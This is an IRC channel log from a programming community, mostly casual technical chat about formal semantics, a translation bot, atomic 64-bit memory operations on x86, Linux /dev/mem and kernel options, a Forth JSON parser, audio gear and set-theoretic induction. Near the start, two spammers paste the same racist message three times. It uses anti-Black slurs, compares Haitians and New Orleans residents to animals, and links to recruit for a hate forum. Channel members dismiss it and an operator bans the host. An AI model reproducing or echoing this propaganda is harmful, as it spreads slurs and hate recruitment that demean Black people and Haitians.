06:52:33 <ElMexicano> It is time to put those Haitian jigaboos in their place! No matter how many times the civilized world donates money, opens schools, rebuilds their nation, and holds their little monkey paws, the damn niggers can never get it right. They never will! The same goes for New Orleans! Cancun in Mexico suffered few fatalities after their major hurricane, and the rebuilding is already completed. Wha
06:52:33 <ElMexicano> t have the niggers in New Orleans done? If you are sick of this, join Chimpout Forum! http://www.chimpout.com/forum We welcome all races except for NIGGGGGGGERS! We are not white supremacists, just negro inferiorists! http://www.chimpout.com/forum
06:54:33 -!- ElMexicano has quit (Quit: Haiti=Mierda).
06:54:37 -!- Chazz has joined.
06:54:57 <coppro> Hey Chazz
06:55:07 -!- werdan7 has joined.
06:55:11 <Chazz> Hai
06:56:18 * Sgeo points to the channel logs
06:57:45 <coppro> he seems to be using a single hostname
06:58:46 <pikhq> Yeah.
07:10:15 <augur> who wants to hear some obnoxious bullshit from contemporary formal semanticists? :D
07:15:58 <Gregor> ALWAYS
07:16:19 <augur> Gregor: OK
07:16:47 <augur> so apparently these nutballs try to account for the meaning of modal adjectives like, say, "always"
07:16:53 <augur> using the following _syntactic_ structures
07:17:40 <Gregor> Transforming the meaning of "always" into something purely syntactic...?
07:17:50 <augur> [λs [s [ssh [always [λr [r [John complained]]]]]]]
07:18:07 <augur> no, they just try to invent a shit ton of extra syntax so that the syntax maps neatly into logic
07:19:13 -!- Linuxiano has joined.
07:19:25 <Linuxiano> It is time to put those Haitian jigaboos in their place! No matter how many times the civilized world donates money, opens schools, rebuilds their nation, and holds their little monkey paws, the damn niggers can never get it right. They never will! The same goes for New Orleans! Cancun in Mexico suffered few fatalities after their major hurricane, and the rebuilding is already completed. Wha
07:19:25 <Linuxiano> t have the niggers in New Orleans done? If you are sick of this, join Chimpout Forum! http://www.chimpout.com/forum We welcome all races except for NIGGGGGGGERS! We are not white supremacists, just negro inferiorists! http://www.chimpout.com/forum
07:20:03 <augur> *sigh*
07:20:06 <augur> lament!
07:20:50 <Gregor> augur: Just to be clear, that's the sentence "John always complained", yes?
07:20:52 <Gregor> Or something along those lines.
07:20:56 <augur> yes.
07:21:19 <augur> the best argued syntax for that is at most [always [John complained]]
07:21:44 <augur> but typical semanticists add in a whole bunch of other shit because otherwise they cant explain anything
07:22:04 <Gregor> That is the way of formal semantics :P
07:22:16 <augur> its not
07:22:22 <augur> there are some formal semanticists that dont do that
07:22:31 <Gregor> If I knew the context I could maybe understand what function each additional layer serves, but I'm too tired and need to sleep, so I'll do that instead :P
07:22:39 <augur> its just annoying that they stick the shit into the syntax not the semantics
07:22:44 <augur> ah well ok
07:22:49 <augur> its basically
07:23:18 <augur> s, ssh, and r are situation variables
07:23:27 <augur> john is just some person value lets say
07:23:46 <augur> complained is a function of type Ind -> Sit -> Bool
07:24:02 <augur> always is of type (Sit -> Bool) -> Sit -> Sit -> Bool
07:24:52 <augur> so if this were in haskellish
07:25:44 <pikhq> ... Sticking semantics into syntax = failure.
07:25:50 <augur> \s -> always (\r -> (complained John r)) ssh s
07:26:09 <augur> pikhq: its so true.
07:26:31 <augur> i mean, its one thing if you map from one to the other relatively transparently or something
07:26:46 <augur> but to use your syntax as a place to encode your logical objects
07:26:55 <augur> the whole theory just blows up and becomes incredibly complex
07:31:37 <Linuxiano> It is time to put those Haitian jigaboos in their place! No matter how many times the civilized world donates money, opens schools, rebuilds their nation, and holds their little monkey paws, the damn niggers can never get it right. They never will! The same goes for New Orleans! Cancun in Mexico suffered few fatalities after their major hurricane, and the rebuilding is already completed. Wha
07:31:41 <Linuxiano> t have the niggers in New Orleans done? If you are sick of this, join Chimpout Forum! http://www.chimpout.com/forum We welcome all races except for NIGGGGGGGERS! We are not white supremacists, just negro inferiorists! http://www.chimpout.com/forum
07:32:29 * Sgeo pokes werdan7
07:36:45 -!- Linuxiano has quit (Quit: Haiti=Mierda).
07:41:27 <Gregor> `translate mierda
07:41:36 <HackEgo> crap
07:54:43 <uorygl> `translate No hagas mierda estúpida.
07:54:45 <HackEgo> Do not do stupid shit.
07:55:00 <uorygl> Darn these inconsistent translations.
07:55:52 <uorygl> `translate Con voz como John Scott / Ronco, ronco / Formó todos los coros
07:55:55 <HackEgo> With a voice like John Scott / snoring, snoring / formed the choirs
07:56:30 <uorygl> `translate Con voz como John Scott / Ronco, ronco / Formó todos los coros / Tocó: Doblo con Mollo, bombo con Moro, / tom tom con Porno, joropo con Tormo, bongó con Don Johnson / Tocó con Toto, los Lobos, los Door, los Moscos / Compró dos vox
07:56:32 <HackEgo> the flies / bought two vox
07:56:44 <uorygl> `translate Con voz como John Scott / Ronco, ronco / Formó todos los coros / Tocó: Doblo con Mollo, bombo con Moro, / tom tom con Porno, joropo con Tormo, bongó con Don Johnson
07:56:46 <HackEgo> With a voice like John Scott / snoring, snoring / formed the choirs / played: Double Mollo, hype with Moro, / tom tom for Porno, joropo with Tormo, bongo with Don Johnson
07:58:01 <uorygl> `translatefromto en es The others are crazy; I know them; I don't support them.
07:58:03 <HackEgo> Los otros son locos, yo los conozco, yo no los admite.
07:59:35 <uorygl> `translatefromto As I eat how I eat, nothing swims at all; nothing swims at all like I eat.
07:59:37 <HackEgo> No output.
07:59:43 <uorygl> `translatefromto As I eat how I eat, nothing swims at all.
07:59:45 <HackEgo> No output.
07:59:56 <uorygl> `translatefromto en es As I eat how I eat, nothing swims at all; nothing swims at all like I eat.
07:59:58 <HackEgo> Como yo como cómo comer, nada nada en absoluto, nada en nada como comer.
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:00:15 <uorygl> `translate Como como como como como como como como.
08:00:17 <HackEgo> How how how how how how how how.
08:00:32 <uorygl> `translate Como nada nada como nada como como nada nada como como nada como nada nada como.
08:00:35 <HackEgo> As nothing like nothing like nothing like nothing like nothing like nothing like nothing like anything.
08:03:01 <uorygl> `translatefromto en es Whence do I insist that thou beest?
08:03:03 <HackEgo> żDe dónde puedo insistir en que beest tú?
08:04:20 <Chazz> o.O
08:04:43 <uorygl> `translate The quick brown fox jumpeth over the lazy dog.
08:04:46 <HackEgo> var sl_select, tl_select, web_sl_select, web_tl_select;var ctr, web_ctr, h;var tld = ".com";var sug_lab = "";var sug_thk = "";var sug_exp = "";var dhead = "Dictionary";var dmore = "View detailed dictionary";var tr_in = "Translating...";var isurl = "";var show_roman = "Show romanization";var hide_roman =
08:04:55 <uorygl> `translatefromto en es The quick brown fox jumpeth over the lazy dog.
08:04:57 <HackEgo> El rápido jumpeth el saxofón detrás del palenque de paja.
08:06:26 <uorygl> `translatefromto en es The large round potato jumpeth over the square ruse.
08:06:28 <HackEgo> La gran jumpeth patata redonda sobre el ardid cuadrados.
08:07:00 <uorygl> `translatefromto en es In computer science, the term type punning referreth to a programming technique that subverteth or circumventeth the type system of a programming language.
08:07:02 <HackEgo> En informática, el término tipo referreth juegos de palabras a una técnica de programación que subverteth o circumventeth el sistema de tipo de un lenguaje de programación.
08:10:35 -!- Chazz has quit (Read error: Connection reset by peer).
08:31:47 <lament> what what
08:32:12 <lament> oh mexicans
08:33:20 -!- ChanServ has set channel mode: +o lament.
08:33:25 -!- lament has set channel mode: +b *!*@*.cable.dyn.cableonline.com.mx.
08:33:29 -!- lament has set channel mode: -o lament.
08:34:07 <lament> it's strange that one of his nicks was khazar
08:36:04 * augur shrugs
08:36:08 <augur> crazy people
08:37:05 <lament> also his platform is silly
08:37:23 <lament> "we're not white supremacists, just negro inferiorists"
08:37:33 <augur> well its true
08:37:37 <augur> if hes mexican, hes not white
08:37:43 <lament> well sure
08:37:48 <augur> but he still hates black people
08:37:53 <lament> but it seems like it would be hard to find support
08:38:00 <lament> since if someone hates blacks, he's probably racist
08:38:01 <augur> inside the US maybe :p
08:38:08 <lament> and so hates other races too
08:38:14 <augur> lots of people outside the US are overtly racist
08:38:16 <augur> oh yes, this is true
08:54:19 -!- amca has joined.
09:07:07 -!- tombom has joined.
09:24:44 -!- adam_d has joined.
09:41:37 -!- adu has joined.
09:51:33 -!- Leonidas has quit (Remote host closed the connection).
09:51:36 -!- Leonidas has joined.
09:57:13 -!- oerjan has joined.
10:21:47 -!- jcp has quit (Quit: I will do anything (almost) for a new router.).
10:25:20 -!- oerjan has quit (Quit: leaving).
11:11:39 -!- adu has quit (Quit: adu).
11:14:23 -!- amca has quit (Quit: Farewell).
11:30:02 -!- sebbu2 has joined.
11:32:38 -!- sebbu has quit (Ping timeout: 246 seconds).
11:35:24 <AnMaster> does anyone know if it is possible on 32-bit x86, to atomically write or read a 64-bit integer from memory?
11:35:35 <AnMaster> without mutexes or such I mean
11:36:14 <olsner> you do have cmpxchg8b
11:36:29 <olsner> and maybe lock prefixes work for 8-byte accesses
11:36:34 <AnMaster> olsner, yes, but that doesn't help for plain read or write
11:36:37 <AnMaster> afaik
11:36:53 <AnMaster> olsner, what if you want to read without changing the value, but want to do so atomically
11:38:29 <AnMaster> olsner, for the use case I consider, any sort of mutexes or such just have way too much overhead
11:39:16 <AnMaster> and collisions are extremely likely.
11:42:25 <AnMaster> olsner, the use case is async threaded funge. And specifically it's funge space. Assuming we have (part of it) implemented as a static non-sparse array, and the rest of it as a tree structure or hash table, then it should be possible I think to only require locking for the the non-static part
11:42:46 <AnMaster> and since most programs operate around origo, this should help quite a bit
11:42:56 <AnMaster> the issue is how to handle 64-bit funge on 32-bit systems
11:43:28 <olsner> looks like you need cmpxchg8b - if you just use the same value for the comparison and the exchange, you'll get the current value read back into edx:eax ... not sure how to do writing easily though (except spinning until you get two consecutive exchanges in between another writer)
11:43:39 <AnMaster> hm
11:43:45 <olsner> *lock cmpxchg8b, that is
11:44:04 <AnMaster> sounds somewhat messy but okay
11:44:22 <AnMaster> I guess atomically writing or reading the native word size on both x86 and x86_64 should be trivial?
11:44:51 <olsner> iirc, simple memory transfers in the native word size are always atomic
11:45:28 <olsner> which could mean that 64-bit access in 32-bit mode *on 64-bit hardware* is also atomic
11:45:36 <AnMaster> olsner, how backwards
11:45:48 <AnMaster> but what about the actual MMU and system bus and so on
11:45:59 <AnMaster> isn't there a possibility of that causing a mess there?
11:46:28 <AnMaster> olsner, and can you do 32-bit atomic reads, writes and CAS on x86_64 in 64-bit mode?
11:46:53 <AnMaster> that is, without causing it to operate on 32 extra bits you don't want to touch
11:47:13 <olsner> it does get messy in the rest of the system, but there are synchronization protocols for that, like making sure that only one cpu "owns" memory for write access at any time
11:47:36 <AnMaster> olsner, you mean cache coherency and such?
11:47:44 <olsner> yes, exactly... it also gets extra messy with NUMA, if you want to do atomic stuff to another cpu:s memory
11:47:59 <AnMaster> olsner, I don't own a numa system, so I can't test
11:48:10 <AnMaster> oh btw, is L1 data cache coherrent?
11:48:37 <AnMaster> iirc I read somewhere there are some restrictions on L1 instruction cache, but I have no idea about L1 data cache
11:48:54 <olsner> iirc, recent AMD multi-core systems are all numa, they split up the memory between the cpu:s
11:50:19 <AnMaster> olsner, I have a 64-bit sempron that is not SMP or multicore, plus a core2duo system
11:50:31 <AnMaster> so only the latter allows me to test this
11:51:18 <AnMaster> olsner, btw, do you happen to know any sort of concurrent-access hash table or balanced tree thingy?
11:51:26 <AnMaster> RCU seems to have a high update overhead
11:51:56 <olsner> testing doesn't prove the absence of bugs though... what you want to do is get to the bottom of which guarantees you actually have according to the x86 specs :)
11:52:11 <AnMaster> multiple readers, and preferably "multiple writers-in-different-parts" should be supported
11:52:45 <AnMaster> olsner, of course. But testing is required to see that I didn't mess up something
11:53:24 <AnMaster> also implementing this won't happen straight away. Consider the current stage early investigation of what possibilities I have for it
11:53:43 -!- MigoMipo has joined.
11:54:57 <AnMaster> olsner, also how does out of order execution affect this sort of things
11:55:08 <AnMaster> hrrm
11:55:27 <AnMaster> well that shouldn't be a problem unless it splits up a single read or write
11:56:50 <AnMaster> and the LOCK prefix seems to force a memory barrier according to AMD docs at least
11:57:27 <olsner> some care will be required, to say the least
11:58:25 <AnMaster> olsner, of course
11:58:46 <olsner> not sure if any of it will cause problems, but you best prove that it won't :P
11:59:27 <AnMaster> olsner, also I suspect that 64-bit cells would be faster than 32-bit cells, due to less data being in each cache line -> less chance of two threads fighting over same cache line
12:00:25 <AnMaster> for "normal" funge 64-bit cells are somewhat slower than 32-bit cells, on x86_64. Most likely for the same (or rather, opposite) reason
12:00:39 <AnMaster> s/for the same/due to the same/
12:06:04 <AnMaster> olsner, it seems LOCK XCHG can be used for stores
12:06:49 <AnMaster> I guess to optimise this, the funge *implementation* should self modify to only use it in case of multiple threads
12:06:58 <AnMaster> XD
12:07:06 <olsner> does xchg work for 64-bit words though?
12:08:02 <AnMaster> hm good point *opens another pdf*
12:08:59 <AnMaster> olsner, there is an 64-bit form
12:09:09 <AnMaster> and there is nothing saying that LOCK prefix doesn't work for it
12:09:16 <AnMaster> that is on x86-64 though
12:09:24 <AnMaster> not sure about 64-bit on 32-bit
12:11:28 -!- MizardX has joined.
12:12:26 <AnMaster> olsner, what I can't figure out is if lock xchg is required if you don't care about the data being visible right way
12:12:56 <AnMaster> specifically, what if you do a normal write, then another cpu does a normal write to the same cache line, but not to the same specific address
12:13:21 <AnMaster> will the first write get lost if it wasn't flushed to main memory yet
12:13:33 <AnMaster> I suppose it shouldn't...
12:16:03 <fizzie> AnMaster: I just went and wrote a JSON parser in Forth, because I could not think of anything more sensible. I'm classifying this as your fault too.
12:16:08 <olsner> I think it's set up so that it won't be cached in more than one place if anyone writes
12:17:10 -!- BeholdMyGlory has joined.
12:20:14 <AnMaster> fizzie, ?
12:20:46 <AnMaster> fizzie, now write a FORTH-to-JSON serialiser and deserialiser
12:20:57 <AnMaster> alternatively, use xml instead of json
12:20:59 -!- MissPiggy has joined.
12:21:10 <AnMaster> in both cases the result is something that should never have existed
12:21:34 <AnMaster> olsner, hm
12:23:01 <AnMaster> I wonder what mmap()ing /dev/mem does
12:23:10 <AnMaster> I don't dare test that though
12:24:00 <olsner> mmap:ing /dev/mem sounds like a sensible way to use it
12:24:11 <AnMaster> har
12:24:16 <olsner> address space is usually larger than the amount of physical memory anyway
12:24:18 <AnMaster> olsner, it is a char device, not a block device
12:24:34 <AnMaster> which makes me think it can't be used that way
12:24:53 <fizzie> AnMaster: Forth is a bit too low-level for "sensible" serialization to any structured format. There's cells, floating-point values and blocks of memory; that's about it. (And of course no run-time type information anywhere.) I could of course serialize some custom-defined structures into JSON, but...
12:25:16 <AnMaster> fizzie, well, write a FORTH interpreter that reads the program fro ma JSON format then!
12:25:28 <AnMaster> from a*
12:27:20 <fizzie> What I have now parses JSON into (type, data) pairs, where the types map mostly to JSON types (bool, int, float, string, array, object) and data is two cells (the value 0 or -1 for bool, a signed-integer cell for int, a float for a float, a pointer-length pair for a string, a pointer-length pair for an array and a pointer to unbalanced binary tree "string => json-value" map for an object).
12:28:02 <AnMaster> fizzie, I didn't know Forth had pairs
12:28:06 <olsner> AnMaster: the man page for mem links to mmap :)
12:28:20 <AnMaster> olsner, mem(4)?
12:28:21 <AnMaster> not here
12:28:35 <fizzie> AnMaster: It's not a native pair, of course; just a memory block the size of three cells.
12:28:40 <AnMaster> SEE ALSO
12:28:41 <AnMaster> chown(1), mknod(1), ioperm(2)
12:28:42 <AnMaster> is all
12:28:53 <olsner> hmm, probably got a different manpage that, it was mem(7D)
12:29:03 <AnMaster> olsner, I don't have mem(7D)
12:29:11 <AnMaster> I don't even have 7D at all
12:29:41 <AnMaster> olsner, what weird OS is it?
12:29:49 <fizzie> SunOS at least has a 7D section.
12:29:51 <fizzie> (For devices.)
12:29:57 <AnMaster> when googling, the only 7D I can find is indeed SunOS
12:30:01 <olsner> I googled, so that wasn't even linux
12:30:04 <AnMaster> ah
12:30:21 <olsner> but it'd be screwed up not to be able to mmap it :)
12:30:39 <AnMaster> olsner, you could use normal fseek and such on it
12:30:57 <olsner> yeah, but how irksome
12:32:05 <fizzie> You can mmap /dev/mem, according to kernel sources:
12:32:07 <fizzie> * capabilities for /dev/mem, /dev/kmem and similar directly mappable character
12:32:07 <fizzie> * devices
12:32:07 <fizzie> * - permits shared-mmap for read, write and/or exec
12:32:07 <fizzie> * - does not permit private mmap in NOMMU mode (can't do COW)
12:32:07 <fizzie> * - no readahead or I/O queue unplugging required
12:32:40 <AnMaster> mhm
12:32:56 <AnMaster> fizzie, what file is that from?
12:33:05 <fizzie> fs/char_dev.c
12:33:11 <AnMaster> also mmaping a char device seems just backwards to me
12:33:27 <AnMaster> and well, I have no clue what the heck readahead would *mean* on /dev/mem
12:34:26 <AnMaster> fizzie, also, iirc /dev/mem is restricted these days to only allow BIOS and PCI space or such (needed for X)
12:34:36 <AnMaster> well, it's a kernel option
12:34:45 <AnMaster> pretty sure I have it turned on
12:34:51 <fizzie> Yes, I seem to remember reading a description like that.
12:35:04 <AnMaster> and I don't even have a /dev/kmem
12:35:08 <AnMaster> for some unknown reason
12:35:32 <AnMaster> further, I wonder what grepping /dev/mem would do
12:35:39 <AnMaster> I don't want to actually try that either
12:36:09 <AnMaster> man mem says "Examining and patching is likely to lead to unexpected results when read-only or write-only bits are present."
12:36:34 <AnMaster> which I guess refers to the page flags
12:37:18 <fizzie> "CONFIG_STRICT_DEVMEM: -- If this option is switched on, the /dev/mem file only allows userspace access to PCI space and the BIOS code and data regions. This is sufficient for dosemu and X and all common users of /dev/mem. If in doubt, say Y."
12:38:48 <AnMaster> fizzie, and I presume /dev/kmem can be turned off elsewhere?
12:40:06 <fizzie> Possibly. Or it might be that it's just not generated by default nowadays and you have to manually make the device node if you want it. I'm not sure I want to start source-diving for it.
12:40:47 <AnMaster> fizzie, my laptop which is on an older kernel has /dev/kmem
12:40:54 <AnMaster> but then it is also on a distro generic kernel
12:40:58 <AnMaster> unlike my desktop
12:41:57 <fizzie> I don't seem to have /dev/kmem either on this desktop.
12:43:06 <AnMaster> fizzie, strange, om my laptop I also have /dev/oldmem
12:43:17 <AnMaster> $ ls -l /dev/*mem
12:43:17 <AnMaster> crw-r----- 1 root kmem 1, 2 2009-07-25 23:32 /dev/kmem
12:43:17 <AnMaster> crw-r----- 1 root kmem 1, 1 2010-03-05 11:17 /dev/mem
12:43:18 <AnMaster> crw-rw---- 1 root root 1, 12 2010-03-05 11:17 /dev/oldmem
12:43:30 <AnMaster> whatever that is
12:44:38 <AnMaster> grepping sources on there turns up just one hit
12:44:41 <AnMaster> ./include/linux/crash_dump.h:extern ssize_t copy_oldmem_page(unsigned long, char *, size_t,
12:44:45 <AnMaster> and that doesn't seem relevant
12:44:54 <AnMaster> oh wait that is just headers
12:44:55 <AnMaster> not sources
12:45:40 <AnMaster> hm
12:45:42 <AnMaster> #ifdef CONFIG_CRASH_DUMP
12:45:42 <AnMaster> [12] = { "oldmem", 0, &oldmem_fops, NULL },
12:45:42 <AnMaster> #endif
12:45:49 <AnMaster> from drivers/char/mem.c
12:47:09 <fizzie> There seems to be a CONFIG_DEVKMEM flag, I just didn't notice it in the configura-a-tron.
12:47:26 <AnMaster> fizzie, "configura-a-tron"?
12:47:36 <fizzie> make menuconfig, or such.
12:47:41 <AnMaster> fizzie, I meant the spelling
12:47:43 <AnMaster> not the meaning
12:47:53 -!- oklokok has quit (Remote host closed the connection).
12:47:53 <fizzie> "Say Y here if you want to support the /dev/kmem device. The /dev/kmem device is rarely used, but can be used for certain kind of kernel debugging operations. When in doubt, say "N"."
12:48:08 <fizzie> It's just random irregular spellamatics.
12:48:16 -!- oklokok has joined.
12:48:31 <AnMaster> fizzie, I meant the a at the end of the first word should be an e
12:50:38 <fizzie> Not if it's from the word "configurator".
12:50:50 <fizzie> "Welcome to the prerelease of Adobe® Configurator. Configurator is an open source utility that enables the easy creation of panels (palettes) for use in ..."
12:50:53 <fizzie> See, a real word.
12:51:31 <AnMaster> heh
12:53:20 <fizzie> I can't find any other JSON libraries for Forth by googling (at least on the first three pages of results). I may have found an untapped market here.
12:55:12 -!- tombom has quit (Ping timeout: 258 seconds).
12:55:53 <AnMaster> fizzie, so publish the thing XD
12:56:19 <AnMaster> fizzie, now you need to write an XML DOM thingy with xpath support for Forth too!
12:56:35 -!- tombom has joined.
12:59:07 -!- kar8nga has joined.
13:02:33 <AnMaster> fizzie, is there any way to list kexec loaded kernels btw?
13:05:44 <AnMaster> [85909.348091] sdhci-pci 0000:15:00.2: Will use DMA mode even though HW doesn't fully claim to support it.
13:05:48 <AnMaster> how reassuring!
13:05:52 <AnMaster> fizzie, ^
13:07:52 <fizzie> I have about three zillion lines of
13:07:54 <fizzie> ehci_hcd 0000:00:12.2: force halt; handhake ffffc90000072024 0000c000 00000000 -> -110
13:07:57 <fizzie> in my dmesg buffer.
13:08:08 <fizzie> I'm not sure I want to know what "handhake" is.
13:08:13 <AnMaster> fizzie, something strange with usb 2.0 it sounds like
13:12:55 <AnMaster> fizzie, look for what usb device might cause it
13:13:04 <AnMaster> lsusb and look for "0000:00:12.2" perhaps
13:13:23 <AnMaster> well, it would be split up there
13:13:33 <fizzie> It's no longer connected; based on timestamps I think that was around when I used that USB sound stick thing.
13:13:48 <AnMaster> sound stick?
13:14:07 <fizzie> It sounds stupid to call it a "sound card" when it doesn't resemble a card at all.
13:14:27 <AnMaster> aah
13:14:33 <AnMaster> did it work well?
13:14:53 <fizzie> Yes, no problems there.
13:15:46 <AnMaster> hm
13:15:55 <fizzie> http://www.terratec.net/en/products/Aureon_Dual_USB_9842.html -- got that in order to get optical s/pdif out of the iBook back when I was using it as a TV box.
13:17:40 <AnMaster> ah
13:18:23 <AnMaster> fizzie, what exactly is wrong with normal copper for audio?
13:19:03 <AnMaster> wow, they explicitly support linux
13:19:05 <AnMaster> that's unusual
13:20:58 -!- ais523 has joined.
13:21:36 <fizzie> Well, nothing wrong with coaxial s/pdif either, but the iBook only has one 3.5mm headphone plug, no other audio outputs at all.
13:22:09 <ais523> nothing wrong with 3.5mm headphone plugs
13:22:29 <fizzie> And for some reason or another, the output from that was pretty noisy when connected to the amplifier; whereas with digital output there's of course no noise to speak of.
13:23:42 <AnMaster> fizzie, why s/pdif?
13:23:54 <AnMaster> ah
13:23:56 <AnMaster> well
13:24:07 <AnMaster> a good 3.5mm plug should be just as good
13:24:13 <AnMaster> of course, a noisy one is rather strange
13:25:33 -!- uorygl has quit (Read error: Connection reset by peer).
13:25:48 -!- uorygl has joined.
13:25:58 <fizzie> I don't know about that; at least with digital connections you get the d/a conversion done at the amplifier, which is a bit more audibly oriented device than a regular PC box. (I'm sure that the outputs from a real sound card would be a different thing.)
13:28:01 <fizzie> Also, I could get multichannel sound out from the iBook through that thing. It's just that with only two speakers connected to the amplifier, the benefits of that are a bit theoretical.
13:39:30 <AnMaster> fizzie, does the amplifier beat a sb live?
13:40:26 <fizzie> I have no idea about that, but at least it's bound to be reasonably good, as opposed to the sort of random motherboard-integrated stuff I otherwise have.
13:40:39 <fizzie> I did say that a real sound card might have also helped.
13:40:45 <AnMaster> well yes
13:40:55 <AnMaster> I was just trying to compare it to my "real soundcard"
13:41:57 <fizzie> I am not aware of any benchmarks, really.
13:42:17 <fizzie> It's a harman/kardon AVR-147; the manufacturer is reasonably well-known.
13:43:03 <fizzie> "A 24-Bit/twin-core Cirrus Logic CS 49510 DSP processor with 32-bit post processor and 192kHz/24-bit D/A conversion", say the marketing hype, but of course you never know.
13:43:42 <fizzie> And given that it's generally just 16-bit 48/44.1 kHz digital stuff that gets sent over the s/pdif link, I'm not sure how much that matters.
13:45:23 <AnMaster> heh
13:47:20 <fizzie> I'm not even sure if the S/PDIF link supports all that. The standard sample resolution for s/pdif seems to be 20 bits, and 24-bit samples are a bit of a hack.
13:50:24 <AnMaster> heh
13:50:30 <AnMaster> only 24 bits? ;P
13:51:23 <AnMaster> it should be represented as an accurate physics model of the source using numbers from R or something!
13:52:05 <fizzie> The owner's manual is silent about whether it supports the s/pdif 24-bit thing, but at least the straight 2-channel PCM digital input "only" goes up to 96 kHz sample rates.
13:53:55 <fizzie> It does support decoding the 5.1 surround DTS 96/24 format, which technically speaking is 24 bits and 96 kHz, but that involves some compression, I think.
13:55:20 <fizzie> I am a bit doubtful whether the alsa drivers would know how to stick 96 kHz 24-bit samples out of the pipe anyway, even if it supported that.
13:56:21 <AnMaster> fun... http://en.wikipedia.org/wiki/Thread_join redirects to thread, and that doesn't explain what thread join is...
13:58:55 <fizzie> Quick history-browsing seems to suggest that it didn't explain joins back when the redirect was made, either.
13:59:04 <AnMaster> indeed
14:20:44 <cheater2> bored
14:21:15 <MissPiggy> cheater, watch videos about technological singularity: http://www.youtube.com/user/singist
14:22:46 <AnMaster> "This would be cleaner in C++ with templates." <-- shudder, this is from a README of a library in C
14:22:57 <AnMaster> also I can't imagine how it would be cleaner:
14:23:06 <AnMaster> "The cleanest way to use these routines is probably to define the stack node type with an initial AO_t link field, so that the conversion between the link-field pointer and the stack element pointer is just a compile-time cast. But other possibilities exist. (This would be cleaner in C++ with templates.)"
14:23:13 <AnMaster> is the full paragraph
14:23:37 <AnMaster> oh and this is from libatomic_ops, which is bundled with libgc
14:25:38 <AnMaster> lockless two-thread concurrent stack seems fun
14:29:22 -!- oklokok has quit (Ping timeout: 265 seconds).
14:32:47 -!- ais523 has changed nick to ais523|away.
14:33:18 -!- ais523|away has changed nick to ais523.
14:33:22 -!- FireFly has joined.
14:34:02 -!- alise has joined.
14:35:04 -!- augur has quit (Quit: Leaving...).
14:35:39 <alise> so I'm trying to define induction on the naturals set-ly
14:35:42 <alise> I think it's
14:35:59 <MissPiggy> define? as an axiom?
14:36:08 <alise> well, just formulate
14:36:10 <MissPiggy> you could look up set theory if you want the answers
14:36:17 <alise> i know that
14:36:27 <alise> i didn't mean like that
14:36:30 <MissPiggy> do you take back what you said yesterday
14:36:37 <alise> what exactly
14:36:48 <MissPiggy> when I said enjoy your russles paradox then you called me an idiot
14:37:06 <MissPiggy> (other than not being able to spell russell)
14:37:08 <alise> i mean obviously we state it as intersect(P(0), (forall n. intersect(P(n), P(S(n)))) subset-of (forall n. P(n))
14:37:13 <alise> MissPiggy: no
14:37:26 <alise> well, I take back that you're an idiot personally
14:37:29 <alise> but your statement was idiotic
14:37:41 <alise> you can perfectly well have set builder notation without russell popping in
14:37:50 <alise> it's just sugar...
14:38:05 <MissPiggy> you can't have self application of functions though
14:38:14 <MissPiggy> (functions defined in the usual way)
14:38:19 <alise> well forall n. blah is isomorphic to function from n to blah and I have that so
14:38:36 <alise> MissPiggy: yeah i'm gonna have to work out a nice way to combine all this
14:39:29 <MissPiggy> you can model lambda calculus in set thoery, that's scott domains and such
14:39:49 <alise> also, self application as in f(f)? or as in recursion
14:40:38 <MissPiggy> f(f)
14:41:47 <alise> I've no qualm with that.
14:41:58 <alise> I don't see f(f) as intuitively well-founded.
14:43:01 <MissPiggy> yeah because if f : A -> B, then you're saying that A -> B = A but that's a source of problems
14:43:20 <alise> Exactly.
14:43:27 <alise> Even id(id) is not neccessarily well-founded.
14:43:33 <MissPiggy> that's what I was TRYING to say the other day :P
14:43:53 <alise> So?
14:44:01 <alise> It's not Russell's paradox because you don't allow it :P
14:44:04 <MissPiggy> okay
14:44:13 <alise> And I really don't mind id(id) not being possible to be honest
14:44:30 <MissPiggy> I need to do some study today but I'm really fucking lazy
14:44:58 -!- ais523 has changed nick to ais523|away.
14:45:01 <alise> One issue I have is that I don't think !(p&!q) = the regular set of pair sfunction structure
14:45:21 <MissPiggy> !(p&!q) is classically used for p -> q?
14:45:23 <alise> it's ~(p intersect ~q)
14:45:27 <alise> MissPiggy: yeah
14:45:44 * MissPiggy never really got why people would do that .. but can't complain because it does work
14:45:48 <alise> i just think it's a nice identity :P
14:46:06 <alise> i mean it's not like you get many constructivist set theorists so
14:48:00 <alise> wait P->Q is actually P superset Q
14:48:01 <alise> not subset
14:48:27 <alise> I reasoned subset because a->b = x elem a -> x elem b = b superset-of a = a subset-of b
14:49:18 -!- ais523|away has changed nick to ais523.
14:49:55 <alise> no longer scarfaic?
14:50:06 -!- hodyna has joined.
14:50:33 <MissPiggy> yeah P->Q means P <= Q
14:51:46 <MissPiggy> because false implies everything (ex falso quodlibet) is just saying that bottom is <= anything
14:53:00 <alise> yeah
14:53:13 <alise> apparently some people write P->Q as P =) Q though
14:53:16 <alise> which is weird
14:54:01 <MissPiggy> set thoery is weird :P
14:55:28 -!- ais523 has changed nick to ais523|away.
14:55:48 -!- ais523|away has changed nick to ais523.
14:57:15 -!- alise_ has joined.
14:57:22 <alise_> anyway so
14:57:36 -!- alise has quit (Ping timeout: 252 seconds).
14:58:08 <alise_> I think {E : x <- S, y <- S, ...} is the purest form of set building
14:58:35 <alise_> but {E : P x, Q x y, ...} is easier to make useful
14:58:41 <alise_> the latter sucks though because it depends on logic
14:58:44 <MissPiggy> I think of it as syntactic sugar for the axioms
14:58:46 <alise_> whereas logic should be defined with sets
15:00:55 <alise_> also I don't think you can define the naturals with just set building which upsets me
15:01:10 <alise_> N = {0} union {{n} union n : n <- N}
15:01:17 <MissPiggy> you don't want me to give it away?
15:01:37 <alise_> Money? Please do.
15:02:03 <alise_> I'm rather strange... I know type theory but I don't even know the regular definitions used when implementing mathematics in set theory.
15:02:24 <alise_> Martin-Lob roolz, ZFC droolz.
15:06:53 <alise_> S = { (n, {n} union n) | n <- N }
15:06:57 -!- ais523 has changed nick to ais523|away.
15:07:01 <alise_> S = { {n, {n, {n} union n}} | n <- N }
15:09:08 -!- ais523|away has changed nick to ais523.
15:09:54 <alise_> I was thinking of having a nice axiom but I've forgotten where it is
15:11:18 <alise_> i think induction is the coolest thing ever. srsly
15:14:45 <MissPiggy> yeah
15:15:09 <MissPiggy> if you have a type
15:15:20 <MissPiggy> months := January | Feb....
15:15:24 <MissPiggy> then induction = case analysis
15:15:40 <MissPiggy> if you have N := O | S N, induction is the normal idea, with links to recursion
15:15:47 -!- ais523 has changed nick to ais523|away.
